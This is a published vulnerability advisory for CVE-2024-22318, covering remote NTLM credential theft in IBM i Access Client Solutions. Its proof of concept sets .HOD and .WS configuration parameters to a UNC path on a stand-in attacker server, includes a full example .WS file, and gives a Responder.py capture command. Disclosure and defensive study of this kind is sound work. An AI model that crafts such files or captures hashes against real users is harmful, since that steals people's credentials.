IBM i Access Client Solutions Remote Credential Theft Vulnerability

[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/IBMI_ACCESS_CLIENT_REMOTE_CREDENTIAL_THEFT_CVE-2024-22318.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     

[Vendor]
www.ibm.com

[Product]
IBM i Access Client Solutions

[Versions]
All

[Remediation/Fixes]
None

[Vulnerability Type]
Remote Credential Theft

[CVE Reference]
CVE-2024-22318


[Security Issue]
IBM i Access Client Solutions (ACS) is vulnerable to remote credential theft when NT LAN Manager (NTLM) is enabled on Windows workstations.
Attackers can create UNC capable paths within ACS 5250 display terminal configuration ".HOD" or ".WS" files to point to a hostile server.
If NTLM is enabled and the user opens an attacker supplied file the Windows operating system will try to authenticate using the current user's session.
The attacker controlled server could then capture the NTLM hash information to obtain the user's credentials.


[References]
https://www.ibm.com/support/pages/node/7116091


[Exploit/POC]
The client access .HOD File vulnerable parameters:

1) screenHistoryArchiveLocation=\\ATTACKER-SERVER\RemoteCredTheftP0c

[KeyRemapFile]
2) Filename= \\ATTACKER-SERVER\RemoteCredTheftP0c

Next, Kali Linux Responder.py to capture: Responder.py -I eth0 -A -vv

The client access legacy .WS File vulnerable parameters:
DefaultKeyboard= \\ATTACKER-SERVER\RemoteCredTheftP0c

Example, client access older .WS file

[Profile]
ID=WS
Version=9
[Telnet5250]
AssociatedPrinterStartMinimized=N
AssociatedPrinterTimeout=0
SSLClientAuthentication=Y
HostName=PWN
AssociatedPrinterClose=N
Security=CA400
CertSelection=AUTOSELECT
AutoReconnect=Y
[KeepAlive]
KeepAliveTimeOut=0
[Keyboard]
IBMDefaultKeyboard=N
DefaultKeyboard=\\ATTACKER-SERVER\RemoteCredTheftP0c
[Communication]
Link=telnet5250